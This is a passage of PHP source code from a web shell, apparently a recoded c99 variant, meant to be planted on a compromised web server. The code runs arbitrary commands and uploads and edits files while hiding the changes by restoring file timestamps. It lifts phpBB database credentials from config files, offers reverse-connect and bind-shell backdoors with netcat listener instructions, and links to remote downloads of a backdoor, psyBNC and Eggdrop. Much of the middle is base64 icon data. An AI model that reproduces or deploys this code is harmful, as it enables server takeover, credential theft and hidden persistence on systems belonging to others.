    if (in_array($ext,$v)) {$rft = $k; break;}
   }
   $cmd = str_replace("%f%",$f,$rft);
   echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden
name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\"
size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\"
name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\"
value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\">
</form>";
  }
  elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "
</pre>";}
  elseif ($ft == "code") {
    if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) {
      $arr = explode("\n",$r);
      if (count($arr == 18)) {
        include($d.$f);
        echo "<b>phpBB configuration is detected in this file!<br>";
        if ($dbms == "mysql4") {$dbms = "mysql";}
        if ($dbms == "mysql") {echo "<a
href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars
($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspec
ialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";}
        else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\"
is not supported by ".$sh_name.". Please, report us for fix.";}
        echo "Parameters for manual connect:<br>";
        $cfgvars =
array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpass
wd"=>$dbpasswd);
        foreach ($cfgvars as $k=>$v) {echo
htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";}
        echo "</b><hr size=\"1\" noshade>";
      }
    }
    echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; 1em; 1em; 1em; 1em;
background-color: ".$highlight_background .";\">";
    if (!empty($white)) {@ob_clean();}
    highlight_file($d.$f);
    if (!empty($white)) {c99shexit();}
```

```
    echo "</div>";
  }
  elseif ($ft == "download") {
    @ob_clean();
    header("Content-type: application/octet-stream");
    header("Content-length: ".filesize($d.$f));
    header("Content-disposition: attachment; filename=\"".$f."\";");
    echo $r;
    exit;
  }
  elseif ($ft == "notepad") {
    @ob_clean();
    header("Content-type: text/plain");
    header("Content-disposition: attachment; filename=\"".$f.".txt\";");
    echo($r);
    exit;
  }
  elseif ($ft == "img") {
    $inf = getimagesize($d.$f);
    if (!$white) {
      if (empty($imgsize)) {$imgsize = 20;}
      $width = $inf[0]/100*$imgsize;
      $height = $inf[1]/100*$imgsize;
      echo "<center><b>Size:</b> ";
      $sizes = array("100","50","20");
      foreach ($sizes as $v) {
        echo "<a
href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">";
        if ($imgsize != $v ) {echo $v;}
        else {echo "<u>".$v."</u>";}
        echo "</a>   ";
      }
      echo "<br><br><img
src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\"
width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>";
    }
    else {
      @ob_clean();
      $ext = explode($f,".");
```

```
      $ext = $ext[count($ext)-1];
      header("Content-type: ".$inf["mime"]);
      readfile($d.$f);
      exit;
    }
  }
  elseif ($ft == "edit") {
   if (!empty($submit))
   {
    if ($filestealth) {$stat = stat($d.$f);}
    $fp = fopen($d.$f,"w");
    if (!$fp) {echo "<b>Can't write to file!</b>";}
    else
    {
     echo "<b>Saved!</b>";
     fwrite($fp,$edit_text);
     fclose($fp);
     if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
     $r = $edit_text;
    }
   }
   $rows = count(explode("\r\n",$r));
   if ($rows < 10) {$rows = 10;}
   if ($rows > 30) {$rows = 30;}
   echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\"
method=POST><input type=submit name=submit value=\"Save\"> <input type=\"reset\"
value=\"Reset\"> <input type=\"button\"
onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\">
<br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."
</textarea></form>";
  }
  elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is
mistake, please send us url and dump of \$GLOBALS.</b></center>";}
  else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b>
</center>";}
}
echo "</div>\n";
}
}
```

```
else {
@ob_clean();
$images = array(
"arrow_ltr"=>
"R0lGODlhJgAWAIABAP///wAAACH5BAHoAwEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuV
xXDnoQSIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",
"back"=>
"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUA
BQAAAM8".
"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mO
UEqt".
"Wg0JADs=",
"buffer"=>
"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQ
AAANo".
"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGyxChg+xhnRB+ptLOhai1
crEmD".
"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==",
"change"=>
"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3
+".
"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA
".
"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54c
bRAoFyEOC".
"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJa
XQGBQgA".
"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsf
IxjDL".
"zMshADs=",
"delete"=>
"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1yx19cwXOfDw8Kenp/n5+et
geunp".
"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9yx7djcscSM93d3ZGRkeEsTevd4L
Cw".
"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQY
mJifWv".
"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkO
Pj42Vl".
```

"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA
".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAACH5".
"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5
cbEYI4".
"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNW
DdMHA8G".
"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIE
QrRoQsHQ".
"jwVFHBgiEGQFIgQasYkcSbJQIAA7",
"download"=>
"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAA
AAAAAAA".
"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCt
Lf0SuH7pu".
"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=",
"forward"=>
"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUA
BQAAAM8".
"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0
RQSEqt".
"WqsJADs=",
"home"=>
"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAA
AAAAAAA".
"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0
mq0ZxjNSBDWS".
"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEV
K3QtgN/j".
"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=",
"mode"=>
"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9yx////wAAAAAAAAAAAAAA
AAAAAAA".
"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3
F7FUGu73xO".
"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYE

YK/".
"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=",
"search"=>
"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9yx01NTSkpKQ
QEBP//".
"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vc
OpHOap".
"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+L
LDxuSHsD".
"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXB
wlviRmr".
"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==",
"setup"=>
"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9yx01
NTUJC".
"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAACH5BAEA".
"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB".
"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE".
"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==
",
"small_dir"=>
"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAA
AAAA".
"AAAAACH5BAEAAAgALAAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlX
RdEoMqCebp".
"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",
"small_unk"=>
"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/
MLc+y1U".
"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo".
"/Mbe+8rh/Mng+7jW+rvY+r7Z7+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++yx/e72/vH3/vL4/u31".
"/e31/uDu/dzr/Orz/eHu/yx6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+rfW+vP4".
"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP".
"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz".
"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sD

Q".
"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io".
"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz".
"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM".
"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC".
"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj".
"yAsokBkQADs=",
"multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR".
"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==",
"sort_asc"=>
"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa".
"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==",
"sort_desc"=>
"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb".
"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=",
"sql_button_drop"=>
"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAA".
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"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxst
wAAypduoao".
"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
"ext_xml"=>
"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8
AAAmQAAgACA".
"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbES
BUFQwABICx".
"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPk
EEQ".
"IQA7"
);
//Untuk optimalisasi ukuran dan kecepatan.
$imgequals = array(

"ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2",
"ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk
","ext_rar","ext_uuf"),

"ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_ht
m"),

"ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico
","ext_tif","tiff"),
  "ext_html"=>array("ext_html","ext_htm"),
  "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
  "ext_lnk"=>array("ext_lnk","ext_url"),
```

```
  "ext_ini"=>array("ext_ini","ext_css","ext_inf"),
  "ext_doc"=>array("ext_doc","ext_dot"),
  "ext_js"=>array("ext_js","ext_vbs"),
  "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
  "ext_wri"=>array("ext_wri","ext_rtf"),
  "ext_swf"=>array("ext_swf","ext_fla"),
  "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
  "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
);
if (!$getall) {
  header("Content-type: image/gif");
  header("Cache-control: public");
  header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
  header("Cache-control: max-age=".(60*60*24*7));
  header("Last-Modified: ".date("r",filemtime(__FILE__)));
  foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
  if (empty($images[$img])) {$img = "small_unk";}
  if (in_array($img,$ext_tar)) {$img = "ext_tar";}
  echo base64_decode($images[$img]);
}
else {
  foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d]))
{echo("Warning! Remove \$images[".$d."]<br>");}}}}
  natsort($images);
  $k = array_keys($images);
  echo  "<center>";
  foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";}
  echo "</center>";
}
exit;
}
if ($act == "about") {
  echo "<center><b>Credits:</b><br>Idea, leading and coding by <b>edancrew</b><br>Beta-
testing and some tips by <b>NukLeoN [AnTiSh@Re tEaM]</b><br>Re-Coding, tricks, and css
by <b>FaTaLisTiCz_yx [FeeLCoMz CoMMuNiTy]</b><br><br> Thanks all who report
bugs<br>Please report bugs to <a href=\"mailto:asyiek12@gmail.com\">FaTaLisTiCz_yx</a>
</b>";
}
if ($act == "backc") {
```

```
  $ip = $_SERVER["REMOTE_ADDR"];
  $msg = $_POST['backcconnmsg'];
  $emsg = $_POST['backcconnmsge'];
  echo("<center><b>Back-Connection:</b></br></br><form name=form method=POST>Host:
<input type=text name=backconnectip size=15 value=$ip> Port: <input type=text
name=backconnectport size=15 value=5992> Use: <select size=1 name=use><option
value=Perl>Perl</option><option value=C>C</option></select> <input type=submit
name=submit value=Connect></form>Click 'Connect' only after you open port for it first. Once
open, use NetCat, and run '<b>nc -l -n -v -p 5992</b>'<br><br></center>");
  echo("$msg");
  echo("$emsg");
}
if ($act == "shbd"){
  $msg = $_POST['backcconnmsg'];
  $emsg = $_POST['backcconnmsge'];
  echo("<center><b>Bind Shell Backdoor:</b><br><br><form name=form method=POST>
  Bind Port: <input type='text' name='backconnectport' value='5992'>
  <input type='hidden' name='use' value='shbd'>
  <input type='submit' value='Install Backdoor'></form>");
  echo("$msg");
  echo("$emsg");
  echo("</center>");
}
echo "</td></tr></table>\n";
//COMMANDS PANEL
?>
<div ><b>.: COMMANDS PANEL :.</b></div>
<table>
<?php
if (!$safemode) {
?>
<tr><td align=right>Command:</td>
<td><form method="POST">
   <input type=hidden name=act value="cmd">
   <input type=hidden name="d" value="<?php echo $dispd; ?>">
   <input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>">
   <input type=hidden name="cmd_txt" value="1"> - <input type=submit name=submit
value="Execute">
   </form>
```

```
</td></tr>
<tr><td align=right>Quick Commands:</td>
<td><form method="POST">
   <input type=hidden name=act value="cmd">
   <input type=hidden name="d" value="<?php echo $dispd; ?>">
   <input type=hidden name="cmd_txt" value="1">
   <select name="cmd">
   <?php
   foreach ($cmdaliases as $als) {
     echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."
</option>";
   }
   foreach ($cmdaliases2 as $als) {
     echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."
</option>";
   }
   ?>
   </select> -
   <input type=submit name=submit value="Execute">
   </form>
</td></tr>
<?php
}
?>
<tr><td align=right>Kernel Info:</td>
<td><form method="post" action="http://google.com/search">
   <input type="hidden" name="client" value="firefox-a">
   <input type="hidden" name="rls" value="org.mozilla:en-US:official">
   <input type="hidden" name="hl" value="en">
   <input type="hidden" name="hs" value="b7p">
   <input name="q" type="text" id="q" size="80" value="<?php echo wordwrap(php_uname());
?>"> -
   <input type=submit name="btnG" VALUE="Search">
   </form>
</td></tr>
<tr><td align=right>Upload:</td>
<td><form method="POST" enctype="multipart/form-data">
   <input type=hidden name=act value="upload">
   <input type=hidden name="miniform" value="1">
```

```
   <input type="file" name="uploadfile"> - <input type=submit name=submit value="Upload">
<?php echo $wdt; ?>
   </form>
</td></tr>
<?php /* FaTaLisTiCz_yx TriCkz */ ?>
<script language="javascript">
function set_arg(txt1,txt2) {
  document.forms.fphpfsys.arg1.value = txt1;
  document.forms.fphpfsys.arg2.value = txt2;
  }
</script>
<tr><td align=right>PHP Filesystem:</td>
<td><form name="fphpfsys" method="POST"><input type=hidden name=act
value="phpfsys"><input type=hidden name="d" value="<?php echo $dispd; ?>">
   <select name="phpfsysfunc">
   <?php
   foreach ($phpfsaliases as $als) {
     if ($als[1]==$phpfsysfunc) { echo "<option selected value=\"".$als[1]."\">".$als[0]."
</option>"; }
     else { echo "<option value=\"".$als[1]."\">".$als[0]."</option>";  }
   }
   ?>
   </select>
   File/Dir/URL: <input type="text" name="arg1" id="a1" size="40" value="<?php echo
htmlspecialchars($arg1); ?>">
   To/Max: <input type="text" name="arg2" size="50" value="<?php echo
htmlspecialchars($arg2); ?>">
   <input type=submit name=submit value="Execute"><hr noshade size=1>
   <a href=" onclick="set_arg('<?php echo $sh_mainurl."passs.txt"; ?>','ipays.php')">[BackDor]
</a>
   <a href=" onclick="set_arg('<?php echo $sh_mainurl."psy.tar.gz"; ?>','psy.tar.gz')">[psyBNC]
</a>
   <a href=" onclick="set_arg('<?php echo $sh_mainurl."httpd.tar.gz"; ?>','httpd.tar.gz')">
[Eggdrop]</a>
   </form>
</td></tr>
<tr><td align=right>Search:</td>
<td><form method="POST"><input type=hidden name=act value="search"><input
type=hidden name="d" value="<?php echo $dispd; ?>">
```

```
   <input type="text" name="search_name" size="29" value="(.*)"> <input
type="checkbox" name="search_name_regexp" value="1"  checked> - regexp 
   <input type=submit name=submit value="Search">
   </form>
   </td></tr>
<tr><td align=right>Make File:</td>
<td><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden
name="d" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">
   <input type="text" name="mkfile" size="70" value="<?php echo $dispd; ?>"> - <input
type=submit value="Create"> <?php echo $wdt; ?>
   </form></td></tr>
<tr><td align=right>View File:</td>
<td><form method="POST"><input type=hidden name=act value="gofile"><input type=hidden
name="d" value="<?php echo $dispd; ?>">
   <input type="text" name="f" size="70" value="<?php echo $dispd; ?>"> - <input
type=submit value="View">
   </form></td></tr>
</table>
<div colspan=2><font color=yellow>.:[ Re-Coding by alay | #ronie #alay @ jatimcrew |
Generated: <?php echo round(getmicrotime()-starttime,4); ?> seconds ]:.</font></div>
</body></html>
<?php chdir($lastdir); c99shexit(); ?>
```